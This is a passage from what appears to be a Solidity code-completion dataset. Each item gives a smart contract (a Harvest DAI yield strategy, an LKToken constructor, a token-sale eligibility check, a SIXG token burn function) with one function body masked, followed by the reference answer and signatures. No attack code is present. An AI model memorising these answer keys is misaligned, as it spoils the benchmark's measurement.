== 0) { break; } i = i.sub(1); } return rewards; } function _getPendingRewards( UserDeposits memory user, uint256 remainingAmount ) private view returns (uint256) {<FILL_FUNCTION_BODY> } function _getRatio( uint256 numerator, uint256 denominator, uint256 precision ) private pure returns (uint256) { uint256 _numerator = numerator * 10**(precision + 1); uint256 _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } receive() external payable {} }
contract HarvestDAIStableCoin is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; struct UserDeposits { uint256 timestamp; uint256 amountfDai; } /// @notice Info of each user. struct UserInfo { uint256 amountDai; //how much DAI the user entered with uint256 amountfDai; //how much fDAI was obtained after deposit to vault uint256 amountReceiptToken; //receipt tokens printed for user; should be equal to amountfDai uint256 underlyingRatio; //ratio between obtained fDai and dai uint256 userTreasuryEth; //how much eth the user sent to treasury uint256 userCollectedFees; //how much eth the user sent to fee address uint256 joinTimestamp; //first deposit timestamp; taken into account for lock time bool wasUserBlacklisted; //if user was blacklist at deposit time, he is not receiving receipt tokens uint256 timestamp; //first deposit timestamp; used for withdrawal lock time check UserDeposits[] deposits; uint256 earnedTokens; //before fees uint256 earnedRewards; //before fees } mapping(address => UserInfo) public userInfo; mapping(address => bool) public blacklisted; //blacklisted users do not receive a receipt token uint256 public firstDepositTimestamp; //used to calculate reward per block uint256 public totalDeposits; uint256 public cap = uint256(1000000); //eth cap uint256 public totalDai; //total invested eth uint256 public lockTime = 10368000; //120 days address payable public feeAddress; uint256 public fee = uint256(50); uint256 constant feeFactor = uint256(10000); ReceiptToken public receiptToken; address public dai; address public weth; address public farmToken; address public harvestPoolToken; address payable public treasuryAddress; IMintNoRewardPool public harvestRewardPool; //deposit fDai IHarvestVault public harvestRewardVault; //get fDai IUniswapRouter public sushiswapRouter; uint256 public ethDust; uint256 public treasueryEthDust; //events event RewardsExchanged( address indexed user, string exchangeType, //ETH or DAI uint256 rewardsAmount, uint256 obtainedAmount ); event ExtraTokensExchanged( address indexed user, uint256 tokensAmount, uint256 obtainedEth ); event ObtainedInfo( address indexed user, uint256 underlying, uint256 underlyingReceipt ); event RewardsEarned(address indexed user, uint256 amount); event ExtraTokens(address indexed user, uint256 amount); event FeeSet(address indexed sender, uint256 feeAmount); event FeeAddressSet(address indexed sender, address indexed feeAddress); /// @notice Event emitted when blacklist status for an address changes event BlacklistChanged( string actionType, address indexed user, bool oldVal, bool newVal ); /// @notice Event emitted when user makes a deposit and receipt token is minted event ReceiptMinted(address indexed user, uint256 amount); /// @notice Event emitted when user withdraws and receipt token is burned event ReceiptBurned(address indexed user, uint256 amount); /// @notice Event emitted when user makes a deposit event Deposit( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai ); /// @notice Event emitted when user withdraws event Withdraw( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai, uint256 treasuryAmountEth ); /// @notice Event emitted when owner makes a rescue dust request event RescuedDust(string indexed dustType, uint256 amount); /// @notice Event emitted when owner changes any contract address event ChangedAddress( string indexed addressType, address indexed oldAddress, address indexed newAddress ); //internal mapping(address => bool) public approved; //to defend against non whitelisted contracts /// @notice Used internally for avoiding "stack-too-deep" error when depositing struct DepositData { address[] swapPath; uint256[] swapAmounts; uint256 obtainedDai; uint256 obtainedfDai; uint256 prevfDaiBalance; } /// @notice Used internally for avoiding "stack-too-deep" error when withdrawing struct WithdrawData { uint256 prevDustEthBalance; uint256 prevfDaiBalance; uint256 prevDaiBalance; uint256 obtainedfDai; uint256 obtainedDai; uint256 feeableDai; uint256 auctionedEth; uint256 auctionedDai; uint256 totalDai; uint256 rewards; uint256 farmBalance; } /** * @notice Create a new HarvestDAI contract * @param _harvestRewardVault VaultDAI address * @param _harvestRewardPool NoMintRewardPool address * @param _sushiswapRouter Sushiswap Router address * @param _harvestPoolToken Pool's underlying token address * @param _farmToken Farm address * @param _dai DAI address * @param _weth WETH address * @param _treasuryAddress treasury address * @param _receiptToken Receipt token that is minted and burned * @param _feeAddress fee address */ constructor( address _harvestRewardVault, address _harvestRewardPool, address _sushiswapRouter, address _harvestPoolToken, address _farmToken, address _dai, address _weth, address payable _treasuryAddress, address _receiptToken, address payable _feeAddress ) public { require(_harvestRewardVault != address(0), "VAULT_0x0"); require(_harvestRewardPool != address(0), "POOL_0x0"); require(_sushiswapRouter != address(0), "ROUTER_0x0"); require(_harvestPoolToken != address(0), "TOKEN_0x0"); require(_farmToken != address(0), "FARM_0x0"); require(_dai != address(0), "DAI_0x0"); require(_weth != address(0), "WETH_0x0"); require(_treasuryAddress != address(0), "TREASURY_0x0"); require(_receiptToken != address(0), "RECEIPT_0x0"); require(_feeAddress != address(0), "FEE_0x0"); harvestRewardVault = IHarvestVault(_harvestRewardVault); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); sushiswapRouter = IUniswapRouter(_sushiswapRouter); harvestPoolToken = _harvestPoolToken; farmToken = _farmToken; dai = _dai; weth = _weth; treasuryAddress = _treasuryAddress; receiptToken = ReceiptToken(_receiptToken); feeAddress = _feeAddress; } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Setters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice Update the address of VaultDAI * @dev Can only be called by the owner * @param _harvestRewardVault Address of VaultDAI */ function setHarvestRewardVault(address _harvestRewardVault) public onlyOwner { require(_harvestRewardVault != address(0), "VAULT_0x0"); emit ChangedAddress( "VAULT", address(harvestRewardVault), _harvestRewardVault ); harvestRewardVault = IHarvestVault(_harvestRewardVault); } /** * @notice Update the address of NoMintRewardPool * @dev Can only be called by the owner * @param _harvestRewardPool Address of NoMintRewardPool */ function setHarvestRewardPool(address _harvestRewardPool) public onlyOwner { require(_harvestRewardPool != address(0), "POOL_0x0"); emit ChangedAddress( "POOL", address(harvestRewardPool), _harvestRewardPool ); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); } /** * @notice Update the address of Sushiswap Router * @dev Can only be called by the owner * @param _sushiswapRouter Address of Sushiswap Router */ function setSushiswapRouter(address _sushiswapRouter) public onlyOwner { require(_sushiswapRouter != address(0), "0x0"); emit ChangedAddress( "SUSHISWAP_ROUTER", address(sushiswapRouter), _sushiswapRouter ); sushiswapRouter = IUniswapRouter(_sushiswapRouter); } /** * @notice Update the address of Pool's underlying token * @dev Can only be called by the owner * @param _harvestPoolToken Address of Pool's underlying token */ function setHarvestPoolToken(address _harvestPoolToken) public onlyOwner { require(_harvestPoolToken != address(0), "TOKEN_0x0"); emit ChangedAddress("TOKEN", harvestPoolToken, _harvestPoolToken); harvestPoolToken = _harvestPoolToken; } /** * @notice Update the address of FARM * @dev Can only be called by the owner * @param _farmToken Address of FARM */ function setFarmToken(address _farmToken) public onlyOwner { require(_farmToken != address(0), "FARM_0x0"); emit ChangedAddress("FARM", farmToken, _farmToken); farmToken = _farmToken; } /** * @notice Update the address for fees * @dev Can only be called by the owner * @param _feeAddress Fee's address */ function setTreasury(address payable _feeAddress) public onlyOwner { require(_feeAddress != address(0), "0x0"); emit ChangedAddress( "TREASURY", address(treasuryAddress), address(_feeAddress) ); treasuryAddress = _feeAddress; } /** * @notice Approve contract (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function approveContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = true; } /** * @notice Revoke contract's access (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function revokeContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = false; } /** * @notice Blacklist address; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function blacklistAddress(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("BLACKLIST", account, blacklisted[account], true); blacklisted[account] = true; } /** * @notice Remove address from blacklisted addresses; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function removeFromBlacklist(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("REMOVE", account, blacklisted[account], false); blacklisted[account] = false; } /** * @notice Set max ETH cap for this strategy * @dev Can only be called by the owner * @param _cap ETH amount */ function setCap(uint256 _cap) external onlyOwner { cap = _cap; } /** * @notice Set lock time * @dev Can only be called by the owner * @param _lockTime lock time in seconds */ function setLockTime(uint256 _lockTime) external onlyOwner { require(_lockTime > 0, "TIME_0"); lockTime = _lockTime; } function setFeeAddress(address payable _feeAddress) public onlyOwner { feeAddress = _feeAddress; emit FeeAddressSet(msg.sender, _feeAddress); } function setFee(uint256 _fee) public onlyOwner { require(_fee <= uint256(9000), "FEE_TOO_HIGH"); fee = _fee; emit FeeSet(msg.sender, _fee); } /** * @notice Rescue dust resulted from swaps/liquidity * @dev Can only be called by the owner */ function rescueDust() public onlyOwner { if (ethDust > 0) { treasuryAddress.transfer(ethDust); treasueryEthDust = treasueryEthDust.add(ethDust); emit RescuedDust("ETH", ethDust); ethDust = 0; } } /** * @notice Rescue any non-reward token that was airdropped to this contract * @dev Can only be called by the owner */ function rescueAirdroppedTokens(address _token, address to) public onlyOwner { require(_token != address(0), "token_0x0"); require(to != address(0), "to_0x0"); require(_token != farmToken, "rescue_reward_error"); uint256 balanceOfToken = IERC20(_token).balanceOf(address(this)); require(balanceOfToken > 0, "balance_0"); require(IERC20(_token).transfer(to, balanceOfToken), "rescue_failed"); } /** * @notice Check if user can withdraw based on current lock time * @param user Address of the user * @return true or false */ function isWithdrawalAvailable(address user) public view returns (bool) { if (lockTime > 0) { return userInfo[user].timestamp.add(lockTime) <= block.timestamp; } return true; } /** * @notice Deposit to this strategy for rewards * @param daiAmount Amount of DAI investment * @param deadline Number of blocks until transaction expires * @return Amount of fDAI */ function deposit(uint256 daiAmount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validate // ----- _defend(); require(daiAmount > 0, "DAI_0"); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(totalDai.add(daiAmount) <= cap, "CAP_REACHED"); DepositData memory results; UserInfo storage user = userInfo[msg.sender]; if (user.amountfDai == 0) { user.wasUserBlacklisted = blacklisted[msg.sender]; } if (user.timestamp == 0) { user.timestamp = block.timestamp; } IERC20(dai).safeTransferFrom(msg.sender, address(this), daiAmount); totalDai = totalDai.add(daiAmount); user.amountDai = user.amountDai.add(daiAmount); results.obtainedDai = daiAmount; // ----- // deposit DAI into harvest and get fDAI // ----- IERC20(dai).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedDai ); results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); harvestRewardVault.deposit(results.obtainedDai); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); // ----- // stake fDAI into the NoMintRewardPool // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), results.obtainedfDai ); user.amountfDai = user.amountfDai.add(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.add( results.obtainedfDai ); receiptToken.mint(msg.sender, results.obtainedfDai); emit ReceiptMinted(msg.sender, results.obtainedfDai); } harvestRewardPool.stake(results.obtainedfDai); emit Deposit( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai ); if (firstDepositTimestamp == 0) { firstDepositTimestamp = block.timestamp; } if (user.joinTimestamp == 0) { user.joinTimestamp = block.timestamp; } totalDeposits = totalDeposits.add(results.obtainedfDai); harvestRewardPool.getReward(); //transfers FARM to this contract user.deposits.push( UserDeposits({ timestamp: block.timestamp, amountfDai: results.obtainedfDai }) ); user.underlyingRatio = _getRatio(user.amountfDai, user.amountDai, 18); return results.obtainedfDai; } function _updateDeposits( bool removeAll, uint256 remainingAmountfDai, address account ) private { UserInfo storage user = userInfo[account]; if (removeAll) { delete user.deposits; return; } for (uint256 i = user.deposits.length; i > 0; i--) { if (remainingAmountfDai >= user.deposits[i - 1].amountfDai) { remainingAmountfDai = remainingAmountfDai.sub( user.deposits[i - 1].amountfDai ); user.deposits[i - 1].amountfDai = 0; } else { user.deposits[i - 1].amountfDai = user.deposits[i - 1] .amountfDai .sub(remainingAmountfDai); remainingAmountfDai = 0; } if (remainingAmountfDai == 0) { break; } } } /** * @notice Withdraw tokens and claim rewards * @param deadline Number of blocks until transaction expires * @return Amount of ETH obtained */ function withdraw(uint256 amount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validation // ----- uint256 receiptBalance = receiptToken.balanceOf(msg.sender); _defend(); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(amount > 0, "AMOUNT_0"); UserInfo storage user = userInfo[msg.sender]; require(user.amountfDai >= amount, "AMOUNT_GREATER_THAN_BALANCE"); if (!user.wasUserBlacklisted) { require( receiptBalance >= user.amountReceiptToken, "RECEIPT_AMOUNT" ); } if (lockTime > 0) { require( user.timestamp.add(lockTime) <= block.timestamp, "LOCK_TIME" ); } WithdrawData memory results; results.prevDustEthBalance = address(this).balance; // ----- // withdraw from NoMintRewardPool and get fDai back // ----- results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), amount ); harvestRewardPool.getReward(); //transfers FARM to this contract results.farmBalance = IERC20(farmToken).balanceOf(address(this)); results.rewards = getPendingRewards(msg.sender, amount); _updateDeposits(amount == user.amountfDai, amount, msg.sender); harvestRewardPool.withdraw(amount); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); //not sure if it's possible to get more from harvest so better to protect if (results.obtainedfDai < user.amountfDai) { user.amountfDai = user.amountfDai.sub(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.sub( results.obtainedfDai ); receiptToken.burn(msg.sender, results.obtainedfDai); emit ReceiptBurned(msg.sender, results.obtainedfDai); } } else { user.amountfDai = 0; if (!user.wasUserBlacklisted) { receiptToken.burn(msg.sender, user.amountReceiptToken); emit ReceiptBurned(msg.sender, user.amountReceiptToken); user.amountReceiptToken = 0; } } // ----- // withdraw from Harvest-DAI vault and get Dai back // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedfDai ); results.prevDaiBalance = IERC20(dai).balanceOf(address(this)); harvestRewardVault.withdraw(results.obtainedfDai); results.obtainedDai = (IERC20(dai).balanceOf(address(this))).sub( results.prevDaiBalance ); emit ObtainedInfo( msg.sender, results.obtainedDai, results.obtainedfDai ); if (amount == user.amountfDai) { //there is no point to do the ratio math as we can just get the difference between current obtained tokens and initial obtained tokens if (results.obtainedDai > user.amountDai) { results.feeableDai = results.obtainedDai.sub(user.amountDai); } } else { uint256 currentRatio = _getRatio(results.obtainedfDai, results.obtainedDai, 18); results.feeableDai = 0; if (currentRatio < user.underlyingRatio) { uint256 noOfOriginalTokensForCurrentAmount = (amount.mul(10**18)).div(user.underlyingRatio); if (noOfOriginalTokensForCurrentAmount < results.obtainedDai) { results.feeableDai = results.obtainedDai.sub( noOfOriginalTokensForCurrentAmount ); } } } if (results.feeableDai > 0) { uint256 extraTokensFee = _calculateFee(results.feeableDai); emit ExtraTokens( msg.sender, results.feeableDai.sub(extraTokensFee) ); user.earnedTokens = user.earnedTokens.add( results.feeableDai.sub(extraTokensFee) ); } //not sure if it's possible to get more from harvest so better to protect if (results.obtainedDai <= user.amountDai) { user.amountDai = user.amountDai.sub(results.obtainedDai); } else { user.amountDai = 0; } results.obtainedDai = results.obtainedDai.sub(results.feeableDai); //feeableDai/2 => goes to the user //feeableDai/2 => goes to the treasury in ETH //obtainedDai => goes to the user results.auctionedDai = 0; if (results.feeableDai > 0) { results.auctionedDai = results.feeableDai.div(2); } results.feeableDai = results.feeableDai.sub(results.auctionedDai); results.totalDai = results.obtainedDai.add(results.feeableDai); // ----- // swap auctioned DAI to ETH // ----- address[] memory swapPath = new address[](2); swapPath[0] = dai; swapPath[1] = weth; if (results.auctionedDai > 0) { uint256[] memory daiFeeableSwapAmounts = sushiswapRouter.swapExactTokensForETH( results.auctionedDai, uint256(0), swapPath, address(this), deadline ); emit ExtraTokensExchanged( msg.sender, results.auctionedDai, daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); } uint256 transferableRewards = results.rewards; if (transferableRewards > results.farmBalance) { transferableRewards = results.farmBalance; } if (transferableRewards > 0) { emit RewardsEarned(msg.sender, transferableRewards); user.earnedRewards = user.earnedRewards.add(transferableRewards); //swap 50% of rewards with ETH and add them to results.auctionedEth uint256 auctionedRewards = transferableRewards.div(2); //swap 50% of rewards with DAI and add them to results.totalDai uint256 userRewards = transferableRewards.sub(auctionedRewards); swapPath[0] = farmToken; IERC20(farmToken).safeIncreaseAllowance( address(sushiswapRouter), transferableRewards ); //swap 50% of rewards with ETH and add them to auctionedEth uint256[] memory farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( auctionedRewards, uint256(0), swapPath, address(this), deadline ); emit RewardsExchanged( msg.sender, "ETH", auctionedRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); //however, it should be > 0 if (userRewards > 0) { farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( userRewards, uint256(0), swapPath, address(this), deadline ); swapPath[0] = weth; swapPath[1] = dai; farmSwapAmounts = sushiswapRouter.swapExactETHForTokens{ value: farmSwapAmounts[farmSwapAmounts.length - 1] }(uint256(0), swapPath, address(this), deadline); emit RewardsExchanged( msg.sender, "DAI", userRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.totalDai = results.totalDai.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); } } // ----- // transfer ETH to user // ----- totalDeposits = totalDeposits.sub(results.obtainedfDai); if (user.amountfDai == 0) //full exit { //if user exits to early, obtained ETH might be lower than what user initially invested and there will be some left in amountEth //making sure we reset it user.amountDai = 0; } else { if (user.amountDai > results.totalDai) { user.amountDai = user.amountDai.sub(results.totalDai); } else { user.amountDai = 0; } } if (results.totalDai < totalDai) { totalDai = totalDai.sub(results.totalDai); } else { totalDai = 0; } //at some point we might not have any fees if (fee > 0) { uint256 feeDai = _calculateFee(results.totalDai); results.totalDai = results.totalDai.sub(feeDai); swapPath[0] = dai; swapPath[1] = weth; IERC20(dai).safeIncreaseAllowance(address(sushiswapRouter), feeDai); uint256[] memory feeSwapAmount = sushiswapRouter.swapExactTokensForETH( feeDai, uint256(0), swapPath, address(this), deadline ); feeAddress.transfer(feeSwapAmount[feeSwapAmount.length - 1]); user.userCollectedFees = user.userCollectedFees.add( feeSwapAmount[feeSwapAmount.length - 1] ); } IERC20(dai).safeTransfer(msg.sender, results.totalDai); treasuryAddress.transfer(results.auctionedEth); user.userTreasuryEth = user.userTreasuryEth.add(results.auctionedEth); emit Withdraw( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai, results.auctionedEth ); ethDust = ethDust.add( address(this).balance.sub(results.prevDustEthBalance) ); if (user.amountfDai == 0 || user.amountDai == 0) { user.underlyingRatio = 0; } else { user.underlyingRatio = _getRatio( user.amountfDai, user.amountDai, 18 ); } return results.totalDai; } /// @notice Transfer rewards to this strategy function updateReward() public onlyOwner { harvestRewardPool.getReward(); } function _calculateFee(uint256 amount) private view returns (uint256) { return (amount.mul(fee)).div(feeFactor); } function _defend() private view returns (bool) { require( approved[msg.sender] || msg.sender == tx.origin, "access_denied" ); } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Getters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice View function to see pending rewards for account. * @param account user account to check * @param amount amount you want to calculate for; if 0 will calculate for entire amount * @return pending rewards */ function getPendingRewards(address account, uint256 amount) public view returns (uint256) { UserInfo storage user = userInfo[account]; if (amount == 0) { amount = user.amountfDai; } if (user.deposits.length == 0 || user.amountfDai == 0) { return 0; } uint256 rewards = 0; uint256 remaingAmount = amount; uint256 i = user.deposits.length - 1; while (remaingAmount > 0) { uint256 depositRewards = _getPendingRewards(user.deposits[i], remaingAmount); rewards = rewards.add(depositRewards); if (remaingAmount >= user.deposits[i].amountfDai) { remaingAmount = remaingAmount.sub(user.deposits[i].amountfDai); } else { remaingAmount = 0; } if (i == 0) { break; } i = i.sub(1); } return rewards; } <FILL_FUNCTION> function _getRatio( uint256 numerator, uint256 denominator, uint256 precision ) private pure returns (uint256) { uint256 _numerator = numerator * 10**(precision + 1); uint256 _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } receive() external payable {} }
if (user.amountfDai == 0) { return 0; } uint256 toCalculateForAmount = 0; if (user.amountfDai <= remainingAmount) { toCalculateForAmount = user.amountfDai; } else { toCalculateForAmount = remainingAmount; } uint256 rewardPerBlock = 0; uint256 balance = IERC20(farmToken).balanceOf(address(this)); if (balance == 0) { return 0; } uint256 diff = block.timestamp.sub(firstDepositTimestamp); if (diff == 0) { rewardPerBlock = balance; } else { rewardPerBlock = balance.div(diff); } uint256 rewardPerBlockUser = rewardPerBlock.mul(block.timestamp.sub(user.timestamp)); uint256 ratio = _getRatio(toCalculateForAmount, totalDeposits, 18); return (rewardPerBlockUser.mul(ratio)).div(10**18);
function _getPendingRewards( UserDeposits memory user, uint256 remainingAmount ) private view returns (uint256)
function _getPendingRewards( UserDeposits memory user, uint256 remainingAmount ) private view returns (uint256)
31189
LKToken
LKToken
contract LKToken is StandardToken { string public constant name = "莱克币"; string public constant symbol = "LK"; uint256 public constant decimals = 18; /** * @dev Creates a new LKToken instance */ function LKToken()public {<FILL_FUNCTION_BODY> } }
contract LKToken is StandardToken { string public constant name = "莱克币"; string public constant symbol = "LK"; uint256 public constant decimals = 18; <FILL_FUNCTION> }
totalSupply = 10 * (10 ** 8) * (10 ** 18); balances[0xbd21453fc62b730ddeba9fe22fbe7cffcedebebd] = totalSupply; emit Transfer(0, 0xbd21453fc62b730ddeba9fe22fbe7cffcedebebd, totalSupply );
function LKToken()public
/** * @dev Creates a new LKToken instance */ function LKToken()public
3446
ContributorApprover
eligible
contract ContributorApprover { Whitelist public list; mapping (address => uint) public participated; uint public presaleStartTime; uint public remainingPresaleCap; uint public remainingPublicSaleCap; uint public openSaleStartTime; uint public openSaleEndTime; using SafeMath for uint; function ContributorApprover( Whitelist _whitelistContract, uint preIcoCap, uint IcoCap, uint _presaleStartTime, uint _openSaleStartTime, uint _openSaleEndTime) { list = _whitelistContract; openSaleStartTime = _openSaleStartTime; openSaleEndTime = _openSaleEndTime; presaleStartTime = _presaleStartTime; remainingPresaleCap = preIcoCap * 10 ** 18; remainingPublicSaleCap = IcoCap * 10 ** 18; // Check that presale is earlier than opensale require(presaleStartTime < openSaleStartTime); // Check that open sale start is earlier than end require(openSaleStartTime < openSaleEndTime); } // this is a seperate function so user could query it before crowdsale starts function contributorCap(address contributor) constant returns (uint) { return list.getCap(contributor); } function eligible(address contributor, uint amountInWei) constant returns (uint) {<FILL_FUNCTION_BODY> } function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns (uint) { uint result = eligible(contributor, amountInWei); participated[contributor] = participated[contributor].add(result); // Presale if (now < openSaleStartTime) { // Decrement presale cap remainingPresaleCap = remainingPresaleCap.sub(result); } // Publicsale else { // Decrement publicsale cap remainingPublicSaleCap = remainingPublicSaleCap.sub(result); } return result; } function saleEnded() constant returns (bool) { return now > openSaleEndTime; } function saleStarted() constant returns (bool) { return now >= presaleStartTime; } function publicSaleStarted() constant returns (bool) { return now >= openSaleStartTime; } }
contract ContributorApprover { Whitelist public list; mapping (address => uint) public participated; uint public presaleStartTime; uint public remainingPresaleCap; uint public remainingPublicSaleCap; uint public openSaleStartTime; uint public openSaleEndTime; using SafeMath for uint; function ContributorApprover( Whitelist _whitelistContract, uint preIcoCap, uint IcoCap, uint _presaleStartTime, uint _openSaleStartTime, uint _openSaleEndTime) { list = _whitelistContract; openSaleStartTime = _openSaleStartTime; openSaleEndTime = _openSaleEndTime; presaleStartTime = _presaleStartTime; remainingPresaleCap = preIcoCap * 10 ** 18; remainingPublicSaleCap = IcoCap * 10 ** 18; // Check that presale is earlier than opensale require(presaleStartTime < openSaleStartTime); // Check that open sale start is earlier than end require(openSaleStartTime < openSaleEndTime); } // this is a seperate function so user could query it before crowdsale starts function contributorCap(address contributor) constant returns (uint) { return list.getCap(contributor); } <FILL_FUNCTION> function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns (uint) { uint result = eligible(contributor, amountInWei); participated[contributor] = participated[contributor].add(result); // Presale if (now < openSaleStartTime) { // Decrement presale cap remainingPresaleCap = remainingPresaleCap.sub(result); } // Publicsale else { // Decrement publicsale cap remainingPublicSaleCap = remainingPublicSaleCap.sub(result); } return result; } function saleEnded() constant returns (bool) { return now > openSaleEndTime; } function saleStarted() constant returns (bool) { return now >= presaleStartTime; } function publicSaleStarted() constant returns (bool) { return now >= openSaleStartTime; } }
// Presale not started yet if (now < presaleStartTime) return 0; // Both presale and public sale have ended if (now >= openSaleEndTime) return 0; // Presale if (now < openSaleStartTime) { // Presale cap limit reached if (remainingPresaleCap <= 0) { return 0; } // Get initial cap uint cap = contributorCap(contributor); // Account for already invested amount uint remainedCap = cap.sub(participated[contributor]); // Presale cap almost reached if (remainedCap > remainingPresaleCap) { remainedCap = remainingPresaleCap; } // Remaining cap is bigger than contribution if (remainedCap > amountInWei) return amountInWei; // Remaining cap is smaller than contribution else return remainedCap; } // Public sale else { // Public sale cap limit reached if (remainingPublicSaleCap <= 0) { return 0; } // Public sale cap almost reached if (amountInWei > remainingPublicSaleCap) { return remainingPublicSaleCap; } // Public sale cap is bigger than contribution else { return amountInWei; } }
function eligible(address contributor, uint amountInWei) constant returns (uint)
function eligible(address contributor, uint amountInWei) constant returns (uint)
65570
SIXG
burn
contract SIXG is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function SIXG( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> } function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } // can accept ether function() payable { } }
